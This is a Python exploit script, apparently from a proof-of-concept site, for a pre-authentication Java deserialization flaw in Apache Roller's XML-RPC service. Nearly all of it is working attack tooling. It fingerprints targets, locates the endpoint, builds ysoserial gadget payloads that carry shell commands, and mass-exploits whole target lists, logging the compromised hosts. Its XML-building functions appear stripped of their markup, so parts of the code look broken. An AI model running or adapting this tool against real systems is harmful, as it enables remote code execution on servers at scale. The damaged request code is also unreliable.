#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2026-82384 — Apache Roller 6.1.5 Unauthenticated Java deserialization via XML-RPC ex:serializable (enabledForExtensions) before authentication. Servlet mapped even when XML-RPC disabled. Fix: 6.1.6+ (PR #171). PoC page: https://pocbit.org/pocs/cve-2026-82384 """ from __future__ import annotations CVE_ID = "CVE-2026-82384" POC_TITLE = "Apache Roller XML-RPC pre-auth deserialization RCE" POCBIT_HOME = "https://pocbit.org" POCBIT_CATALOG = f"{POCBIT_HOME}/pocs/" POCBIT_PAGE = f"{POCBIT_HOME}/pocs/{CVE_ID.lower()}" VULN_VERSION = (6, 1, 5) FIX_VERSION = (6, 1, 6) import argparse import base64 import json import os import re import shutil import subprocess import sys import threading import time import uuid from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait from urllib.parse import urljoin, urlparse try: import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) except Exception: pass import requests from requests.adapters import HTTPAdapter UA = ( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 " f"PoCbit (+{POCBIT_HOME})" ) EX_NS = "http://ws.apache.org/xmlrpc/namespaces/extensions" XMLRPC_PATHS = ( "/roller-services/xmlrpc", "/roller/roller-services/xmlrpc", "/xmlrpc", ) ROLLER_MARKERS = ( "apache roller", "roller-ui", "roller-webapp", "rollerweblogger", "/roller-ui/", ) # Minimal invalid Java serialization stream (triggers parser on vulnerable builds) DEFAULT_PROBE_B64 = "rO0ABXNyABFqYXZh.util.HashMapD0HAYBzKxBAEMxAAJ4cIAAAD/////QEA=" DESER_ERROR_MARKERS = ( "invalidclassexception", "streamcorruptedexception", "objectinputstream", "notserializableexception", "serializable", "java.io", "xml-rpc", "failed to read", "deserializ", ) print_lock = threading.Lock() _use_color = True class Col: RST = "\033[0m" BOLD = "\033[1m" DIM = "\033[2m" RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" MAGENTA = "\033[95m" CYAN = "\033[96m" BG_BLUE = "\033[44m" BG_GREEN = "\033[42m" def win_ansi(): if sys.platform != "win32": return try: import ctypes k = ctypes.windll.kernel32 h = k.GetStdHandle(-11) m = ctypes.c_uint32() k.GetConsoleMode(h, ctypes.byref(m)) k.SetConsoleMode(h, m.value | 0x0007) except Exception: pass def paint(t, *s): if not _use_color or not s: return t return "".join(s) + t + Col.RST def log(msg, style=None): with print_lock: print(paint(msg, style) if style else msg, flush=True) def log_ok(m): log(m, Col.GREEN + Col.BOLD) def log_warn(m): log(m, Col.YELLOW) def log_fail(m): log(m, Col.RED) def log_info(m): log(m, Col.CYAN) def banner(quiet=False): if quiet: return win_ansi() log("") log(paint("+" + "=" * 60 + "+", Col.BLUE)) log( paint("|", Col.BLUE) + paint(" POCBIT ", Col.BG_BLUE + Col.BOLD) + paint(" %s " % CVE_ID, Col.MAGENTA + Col.BOLD) + paint(" Apache Roller XML-RPC deser ", Col.CYAN) + paint("|", Col.BLUE) ) log(paint("| %s" % POCBIT_PAGE, Col.DIM) + " " * 8 + paint("|", Col.BLUE)) log(paint("+" + "=" * 60 + "+", Col.BLUE)) log("") def _finish(row): out = dict(row) out["pocbit"] = POCBIT_HOME out["pocbit_catalog"] = POCBIT_CATALOG out["pocbit_page"] = POCBIT_PAGE out["cve"] = CVE_ID return out def mk_session(timeout, proxy=None): s = requests.Session() s.headers.update({"User-Agent": UA}) ad = HTTPAdapter(max_retries=0, pool_connections=40, pool_maxsize=40) s.mount("https://", ad) s.mount("http://", ad) if proxy: s.proxies.update({"http": proxy, "https": proxy}) s.verify = False s.request_timeout = timeout return s def normalize_base(raw): raw = (raw or "").strip() if not raw or raw.startswith("#"): return None if "://" not in raw: raw = "https://" + raw p = urlparse(raw) if not p.netloc: return None scheme = p.scheme if p.scheme in ("http", "https") else "https" return "%s://%s" % (scheme, p.netloc) def parse_version(text): if not text: return None m = re.search(r"Apache\s+Roller\s+([0-9]+(?:\.[0-9]+){1,3})", text, re.I) if not m: m = re.search(r"Roller\s+([0-9]+\.[0-9]+\.[0-9]+)", text, re.I) if not m: m = re.search(r"roller[-\s]?([0-9]+\.[0-9]+\.[0-9]+)", text, re.I) if not m: return None try: return tuple(int(x) for x in m.group(1).split(".")) except ValueError: return None def version_le(a, b): if not a: return None n = max(len(a), len(b)) av = a + (0,) * (n - len(a)) bv = b + (0,) * (n - len(b)) return av <= bv def version_vulnerable(v): if not v: return None if v == VULN_VERSION: return True if version_le(v, VULN_VERSION) and v[:2] == (6, 1): return True if version_le(v, FIX_VERSION) is False: return False return None def build_xmlrpc_deser(b64_payload, method="system.listMethods"): b64_payload = (b64_payload or "").strip().replace("\n", "") return ( '' "" "%s" "" "" '%s' "" "" "" ) % (method, EX_NS, b64_payload) def build_xmlrpc_benign(): return ( '' "" "system.listMethods" "" "" ) def post_xmlrpc(session, base, path, body, timeout): url = urljoin(base.rstrip("/") + "/", path.lstrip("/")) headers = { "Content-Type": "text/xml; charset=utf-8", "User-Agent": UA, } try: r = session.post(url, data=body.encode("utf-8"), headers=headers, timeout=timeout, verify=False) return {"url": url, "status_code": r.status_code, "text": r.text or "", "headers": dict(r.headers)} except requests.RequestException as exc: return {"url": url, "error": str(exc)} def find_xmlrpc_endpoint(session, base, timeout): for path in XMLRPC_PATHS: benign = post_xmlrpc(session, base, path, build_xmlrpc_benign(), timeout) if benign.get("error"): continue code = benign.get("status_code", 0) if code in (200, 400, 401, 403, 500): body = (benign.get("text") or "").lower() if "xml" in body or "methodresponse" in body or "fault" in body or code == 200: return {"path": path, "benign": benign} if code != 404: return {"path": path, "benign": benign} return None def detect_roller(session, base, timeout): row = { "roller": False, "version": None, "version_str": None, "vulnerable_version": None, "http_hits": [], } paths = ("/", "/roller-ui/", "/roller-ui/login.rol", "/roller/") bodies = [] for path in paths: url = urljoin(base.rstrip("/") + "/", path.lstrip("/")) try: r = session.get(url, timeout=timeout, verify=False) except requests.RequestException: continue if r.status_code >= 500: continue body = r.text or "" low = body.lower() if any(m in low for m in ROLLER_MARKERS): row["roller"] = True row["http_hits"].append(url) bodies.append(body) for body in bodies: vt = parse_version(body) if vt: row["version"] = list(vt) row["version_str"] = ".".join(str(x) for x in vt) row["vulnerable_version"] = version_vulnerable(vt) break return row def deser_probe(session, base, xmlrpc_path, b64_payload, timeout): body = build_xmlrpc_deser(b64_payload) resp = post_xmlrpc(session, base, xmlrpc_path, body, timeout) text = (resp.get("text") or "").lower() markers = [m for m in DESER_ERROR_MARKERS if m in text] return { "response": resp, "deser_markers": markers, "likely_deser_path": bool(markers) or resp.get("status_code") == 500, } def load_payload_b64(args): if args.payload_b64: return args.payload_b64.strip() if args.payload_file: with open(args.payload_file, "rb") as f: raw = f.read().strip() try: return raw.decode("ascii") except UnicodeDecodeError: return base64.b64encode(raw).decode("ascii") if args.ysoserial_cmd: jar = args.ysoserial_jar if not jar or not os.path.isfile(jar): return None if not shutil.which("java"): return None gadget = args.ysoserial_gadget or "URLDNS" cmd = args.ysoserial_cmd try: p = subprocess.run( ["java", "-jar", jar, gadget, cmd], capture_output=True, timeout=60, check=False, ) except (OSError, subprocess.TimeoutExpired): return None if p.returncode != 0 and not p.stdout: return None return base64.b64encode(p.stdout).decode("ascii") return None def check_target(raw, timeout, proxy, probe_deser=False): base = normalize_base(raw) row = _finish({"target": base, "mode": "check", "status": "unknown"}) if not base: row["error"] = "invalid_url" row["status"] = "invalid" return row s = mk_session(timeout, proxy) det = detect_roller(s, base, timeout) row.update(det) ep = find_xmlrpc_endpoint(s, base, timeout) row["xmlrpc"] = ep if not ep: row["status"] = "no_xmlrpc_endpoint" row["exploitable_candidate"] = False if det.get("roller"): row["status"] = "roller_no_xmlrpc_path" return row row["xmlrpc_url"] = ep["benign"].get("url") row["exploitable_candidate"] = True row["status"] = "xmlrpc_reachable" if det.get("vulnerable_version") is True: row["status"] = "likely_vulnerable_6_1_5" elif det.get("vulnerable_version") is False: row["status"] = "patched_or_newer" row["exploitable_candidate"] = False if probe_deser or det.get("vulnerable_version") is not False: pr = deser_probe(s, base, ep["path"], DEFAULT_PROBE_B64, timeout) row["deser_probe"] = pr if pr.get("likely_deser_path"): row["status"] = "deser_surface_confirmed" row["exploitable_candidate"] = True row["note"] = ( "6.1.5 parses ex:serializable before auth; upgrade to 6.1.6 or block /roller-services/xmlrpc." ) return row def exploit_target(raw, timeout, proxy, payload_b64, verify_dns=None): base = normalize_base(raw) row = _finish({"target": base, "mode": "exploit", "exploited": False, "status": "unknown"}) if not base: row["error"] = "invalid_url" row["status"] = "invalid" return row if not payload_b64: row["status"] = "no_payload" row["error"] = "use --payload-file, --payload-b64, or --ysoserial-cmd with --ysoserial-jar" return row s = mk_session(timeout, proxy) det = detect_roller(s, base, timeout) row.update(det) ep = find_xmlrpc_endpoint(s, base, timeout) if not ep: row["status"] = "no_xmlrpc" return row row["xmlrpc_url"] = ep["benign"].get("url") pr = deser_probe(s, base, ep["path"], payload_b64, timeout) row["exploit_response"] = pr.get("response") row["payload_bytes"] = len(base64.b64decode(payload_b64 + "==")) if verify_dns: row["verify"] = "Check DNS/LDAP callback: %s" % verify_dns row["exploited"] = True row["status"] = "payload_sent_verify_oob" log_ok("[SENT] %s -> XML-RPC deser (%d bytes) | verify DNS: %s" % ( base, row["payload_bytes"], verify_dns, )) else: code = pr.get("response", {}).get("status_code") markers = pr.get("deser_markers") or [] if code in (200, 400, 500) and (markers or det.get("vulnerable_version") is not False): row["exploited"] = True row["status"] = "payload_accepted" log_ok("[EXPLOIT] %s | HTTP %s | markers=%s" % (base, code, markers[:3])) else: row["status"] = "exploit_inconclusive" log_warn("[?] %s | HTTP %s" % (base, code)) return row def load_targets(path): out = [] seen = set() with open(path, "r", encoding="utf-8-sig", errors="replace") as f: for line in f: b = normalize_base(line) if b and b not in seen: seen.add(b) out.append(b) return out def run_mass_check(args): targets = load_targets(args.list) stats = {"done": 0, "hits": 0, "total": len(targets)} start = time.time() out_f = open(args.output, "w", encoding="utf-8") hit_f = open(args.vuln_list, "w", encoding="utf-8") def worker(t): return check_target(t, args.timeout, args.proxy, args.probe_deser) window = max(4, args.threads * 2) with ThreadPoolExecutor(max_workers=args.threads) as ex: futures = {} gen = iter(targets) try: while True: while len(futures) < window: try: futures[ex.submit(worker, next(gen))] = True except StopIteration: break if not futures: break done, _ = wait(futures, return_when=FIRST_COMPLETED) for fut in done: futures.pop(fut) row = fut.result() stats["done"] += 1 out_f.write(json.dumps(row, ensure_ascii=True, default=str) + "\n") out_f.flush() if row.get("exploitable_candidate"): stats["hits"] += 1 hit_f.write("%s\t%s\t%s\n" % ( row.get("target"), row.get("status"), row.get("version_str") or "", )) hit_f.flush() if not args.quiet: tag = paint("HIT", Col.GREEN + Col.BOLD) if row.get("exploitable_candidate") else paint("---", Col.DIM) log("%s %s | %s" % (tag, row.get("target"), row.get("status"))) except KeyboardInterrupt: log_warn("[!] interrupted") out_f.close() hit_f.close() log_info("[*] scan %.0fs | %d/%d | hits=%d" % ( time.time() - start, stats["done"], stats["total"], stats["hits"], )) def run_mass_exploit(args): payload = load_payload_b64(args) if not payload: log_fail("[x] mass exploit needs --payload-file or --ysoserial-jar + --ysoserial-cmd") return targets = load_targets(args.list) stats = {"done": 0, "pwned": 0, "total": len(targets)} start = time.time() out_f = open(args.output, "w", encoding="utf-8") pwn_f = open(args.exploited_list, "w", encoding="utf-8") dns_base = args.ysoserial_cmd if args.ysoserial_gadget == "URLDNS" else None def worker(t): p = payload verify = None if dns_base and "://" not in dns_base and "." in dns_base: token = uuid.uuid4().hex[:8] cmd = "%s.%s" % (token, dns_base) if args.ysoserial_jar and shutil.which("java"): try: proc = subprocess.run( ["java", "-jar", args.ysoserial_jar, "URLDNS", cmd], capture_output=True, timeout=60, check=False, ) if proc.stdout: p = base64.b64encode(proc.stdout).decode("ascii") verify = cmd except (OSError, subprocess.TimeoutExpired): pass return exploit_target(t, args.timeout, args.proxy, p, verify) window = max(4, args.threads * 2) with ThreadPoolExecutor(max_workers=args.threads) as ex: futures = {} gen = iter(targets) try: while True: while len(futures) < window: try: futures[ex.submit(worker, next(gen))] = True except StopIteration: break if not futures: break done, _ = wait(futures, return_when=FIRST_COMPLETED) for fut in done: futures.pop(fut) row = fut.result() stats["done"] += 1 out_f.write(json.dumps(row, ensure_ascii=True, default=str) + "\n") out_f.flush() if row.get("exploited"): stats["pwned"] += 1 pwn_f.write("%s\t%s\n" % (row.get("target"), row.get("status"))) pwn_f.flush() elif not args.quiet: log_fail("[FAIL] %s | %s" % (row.get("target"), row.get("status"))) except KeyboardInterrupt: log_warn("[!] interrupted") out_f.close() pwn_f.close() log_ok("[*] MASS EXPLOIT %.0fs | %d/%d | sent=%d" % ( time.time() - start, stats["done"], stats["total"], stats["pwned"], )) def main(): global _use_color p = argparse.ArgumentParser( description="%s - %s | %s" % (CVE_ID, POC_TITLE, POCBIT_PAGE), formatter_class=argparse.RawDescriptionHelpFormatter, epilog=( "PoC page: %s\n\n" "Examples:\n" " python poc.py -u https://blog.example --mode check --probe-deser\n" " python poc.py -u https://blog.example --mode exploit --payload-file ysoserial.bin.b64\n" " python poc.py -u https://blog.example --mode exploit --ysoserial-jar ysoserial.jar " "--ysoserial-gadget URLDNS --ysoserial-cmd pocbit.example.oast.fun\n" " python poc.py --list targets.txt --mode exploit --ysoserial-jar ysoserial.jar " "--ysoserial-gadget CommonsCollections6 --ysoserial-cmd \"id\" -j 10\n" ) % POCBIT_PAGE, ) p.add_argument("-u", "--url") p.add_argument("--list") p.add_argument("--mode", choices=["check", "exploit"], default="check") p.add_argument("--probe-deser", action="store_true", help="POST ex:serializable probe in check mode") p.add_argument("--payload-b64", help="base64 Java serialized object for ex:serializable") p.add_argument("--payload-file", help="file with base64 payload (or raw bytes)") p.add_argument("--ysoserial-jar", help="path to ysoserial.jar for exploit generation") p.add_argument("--ysoserial-gadget", default="URLDNS", help="ysoserial gadget (URLDNS, CommonsCollections6, ...)") p.add_argument("--ysoserial-cmd", help="ysoserial command string (URL for URLDNS, shell cmd for CC6)") p.add_argument("--threads", "-j", type=int, default=10) p.add_argument("--timeout", type=int, default=25) p.add_argument("--proxy") p.add_argument("--output", default="cve_2026_82384_results.jsonl") p.add_argument("--vuln-list", default="hits.txt") p.add_argument("--exploited-list", default="exploited.txt") p.add_argument("--no-color", action="store_true") p.add_argument("--quiet", "-q", action="store_true") args = p.parse_args() if args.no_color or os.environ.get("NO_COLOR"): _use_color = False if not args.url and not args.list: p.error("need -u URL or --list FILE") banner(quiet=args.quiet) if args.list: if args.mode == "exploit": if args.output == "cve_2026_82384_results.jsonl": args.output = "cve_2026_82384_exploit.jsonl" run_mass_exploit(args) else: run_mass_check(args) return if args.mode == "check": row = check_target(args.url, args.timeout, args.proxy, args.probe_deser) else: payload = load_payload_b64(args) verify = args.ysoserial_cmd if args.ysoserial_gadget == "URLDNS" else None row = exploit_target(args.url, args.timeout, args.proxy, payload, verify) if not args.quiet: if row.get("exploited"): log_ok("[RESULT] %s | %s" % (row.get("target"), row.get("status"))) elif row.get("exploitable_candidate"): log_warn("[RESULT] candidate | %s" % row.get("status")) else: log_fail("[RESULT] %s" % row.get("status")) print(json.dumps(row, ensure_ascii=True, indent=2, default=str)) if args.mode == "exploit": sys.exit(0 if row.get("exploited") else 1) sys.exit(0 if row.get("exploitable_candidate") else 1) if __name__ == "__main__": main()